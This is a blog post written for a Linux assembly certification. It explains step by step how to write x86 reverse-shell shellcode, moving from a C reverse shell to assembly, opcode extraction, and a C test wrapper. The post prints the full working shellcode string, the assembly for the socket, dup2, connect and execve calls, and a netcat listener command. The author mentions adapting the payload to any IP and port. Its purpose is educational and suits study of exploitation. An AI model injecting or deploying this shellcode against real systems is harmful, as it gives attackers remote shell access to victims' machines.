SLAE 0x2: Linux/x86 Reverse Shellcode
Let’s go through some of the basics.
Shellcode is basically a list of carefully crafted instructions that can be executed once the code is injected into a running application. Stack and heap-based buffer overflows are the most popular way of doing so.
A reverse shell is a type of shell in which the target machine communicates back to the attacking machine. The attacking machine has a listener port on which it receives the connection, which by using, code or command execution is achieved.
TL;DR
Since we live in the era of widespread attention and time deficiency, here’s the summarised version of this entire story:
- Analyze C reverse shellcode
- Create reverse shellcode for x86 Linux in assembly
- Create shellcode generator python script
- Use shellcode wrapper in C for final test
Let’s begin
We will use nasm, ld and gcc to compile and link our code. If you are not aware of what are then you should first go through the basics of these tools.
Here is a reverse shell in C:
Open terminal and run nc -nvlp 7777
and open another terminal and compile and run the above C code.
The shellcode seems to work just fine. Let’s try and analyse this shell using strace strace ./a.out
and observe all the system calls.
...
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
dup2(3, 0) = 0
dup2(3, 1) = 1
dup2(3, 2) = 2
connect(3, {sa_family=AF_INET, sin_port=htons(7777), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
execve("/bin/sh", [0], [/* 0 vars */]) = 0
...
Now, we’ll analyse the C code and convert it into assembly code.
Linux 32bit has system calls mentioned in file: /usr/include/i386-linux-gnu/asm/unistd_32.h
Or use this site https://syscalls.kernelgrok.com/ to view the system calls list online.
Initialise Accumulator Register (EAX)
xor eax, eax
Create Socket
Let’s have a look at socket creation code in C:
int conn_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
Use man socketcall
to view the man page of socketcall
int socketcall(int call, unsigned long *args);
Figure out the system call number of socketcall using unistd_32.h or using the syscalls website. Also find the call number (1st argument of socketcall) by viewing the contents of /usr/include/linux/net.h
So, to create a socket using assembly we need to set the registers as shown below:
eax <= 0x66 (systemcall sys_socketcall)
ebx <= 0x1 (using above image)
ecx <= reference to arguments ( AF_INET, SOCK_STREAM, IPPROTO_IP )
AF_INET = 2
SOCK_STREAM = 1
IPPROTO_IP = 0
And the assembly code for creating the socket. On success, a file descriptor for the new socket is returned, store that is esi
push eax ; push 0
inc eax ; eax = 1
mov ebx, eax ; ebx = 1
push ebx ; push 1
push byte 0x2 ; push 2mov ecx, esp ; ecx = reference to (2, 1, 0)mov al, 0x66 ; sys_socketcall
int 0x80mov esi, eax ; save conn_sock in esi
Redirect I/O to Socket
I/O redirection code for input (0), output (1) and error (2) in C is mentioned below:
dup2(client_fd, 0);
dup2(client_fd, 1);
dup2(client_fd, 2);
The registers should have the following values for dup2(client_fd, 0):
eax <= 0x3f (systemcall dup2)
ebx <= client_fd
ecx <= 0 (for input redirection)
The code for input(0), output(1) and error(2) redirection to socket in assembly can be written as:
mov ebx, esi ; ebx = conn_sock
pop ecx ; ecx = 2 ;loop counter
dup2:
mov al, 0x3f ; systemcall dup2
int 0x80
dec ecx
jns dup2
Connect to the Server
C code for connect function:
struct sockaddr_in serv_addr;
serv_addr.sin_family = AF_INET; // IPv4
serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // IP address
serv_addr.sin_port = htons(PORT); // Port #connect(conn_sock, (struct sockaddr *) &serv_addr, 16);
The registers will contain the following values for the system call:
eax <= 0x66
ebx <= 0x3 (SYS_CONNECT function)
ecx <= reference to (conn_sock, (struct sockaddr *) &serv_addr, 16)srv_addr.sin_family = 2 ;Equivalent for AF_INET
srv_addr.sin_port = 0x611e ;"7777" in reversed order
srv_addr.sin_addr.s_addr = 0x7f010101 ;127.1.1.1 in reversed order
The plan now is to push the sockaddr into the stack. Then push sizeof(srv_addr), address of sockaddr pushed earlier, socket_fd (stored in esi earlier)
Stack (grows from top to bottom):
------------
|0x0101017f| ; IP Address [high memory]
|0x611e | ; Port Number
|0x2 | <= srv_addr ; AF_INET
|0x10 | <= sizeof(srv_addr) = 16
|&srv_addr |
|socket_fd | <= ecx
Code for connect function:
push 0x0101017f ; byte reverse of 0x7f010101 (127.1.1.1)
push word 0x611e ; byte reverse of 0x1e61 (7777)
push word 0x2 ; AF_INET
mov ecx, esp ; ecx = reference(AF_INET, 7777, 127.1.1.1)push 0x10 ; push 16 -> sizeof(serv_addr)
push ecx ; push reference to (AF_INET, 7777, 127.1.1.1)
push esi ; push conn_sockmov ecx, espmov bl, 0x3 ; SYS_CONNECT function
mov al, 0x66 ; sys_socketcall
int 0x80
Executing /bin/sh
C code for executing /bin/sh is as follows:
execve( "/bin/sh", NULL, NULL );
To perform the same action in assembly, the registers need to be set as follows:
eax <= 0xb (11 = 0xb)
ebx <= "//bin/sh" reverse hex->(0x68732f6e69622f2f)
ecx <= NULL
edx <= NULL
We use 1 extra / before /bin/sh to make it 8 bytes in length
Assembly code for calling shell using execve will be:
xor ecx, ecx ; ecx = NULL
mov edx, ecx ; edx = NULLpush ecx ; push NULL
push 0x68732f6e ; push n/sh in reverse
push 0x69622f2f ; push //bi in reverse
mov ebx, esp ; ebx now points to //bin/shmov al, 0xb ; systemcall execve
int 0x80
Complete Shellcode
Let’s try out the shellcode. First start a listener using nc -nvlp 7777
Compile, link and execute the shellcode.
Go back to the first terminal where we started the netcat listener and observe that we now have a shell access.
Extract the shellcode
Use https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump to get the command for objdump to extract the shellcode.
objdump -d ./reverse_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
And our result shellcode string using the above command:
"\x31\xc0\x50\x40\x89\xc3\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc6\x89\xf3\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x01\x01\x01\x66\x68\x1e\x61\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x89\xca\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80\xb0\x01\x89\xc3\xcd\x80"
Just make sure the shellcode does not contain any NULL characters (0x00). If so, then just replace that instruction with any equivalent instruction(s). Below mentioned are two assembly equivalent instructions:
mov eax, 0x00
xor eax, eax
Shellcode Generator
Let’s write a small python script that will change the ip address and port in the above created shellcode.
Let’s generate the shellcode using the python script.
Shellcode Testing using C wrapper
Let’s test our shellcode by writing a simple C program that will pass the control to our shellcode. I have added a gist for C wrapper program, here is the link to it: https://gist.github.com/AdityaChaudhary/d37361b4847de1640ad2923d277b936f
#include<stdio.h>
#include<string.h>unsigned char code[] = \
"\x31\xc0\x50\x40\x89\xc3\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc6\x89\xf3\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x01\x01\x01\x66\x68\x1e\x61\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x89\xca\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80\xb0\x01\x89\xc3\xcd\x80";main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;ret();}
Let’s run this C program which should pass control to our shellcode. Don’t forget to start a netcat listener before executing the shellcode.
Go to the netcat terminal and execute commands ;)
Everything works just fine!!
Congrats you can now write your own awesome reverse shellcode :)
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: PA-8416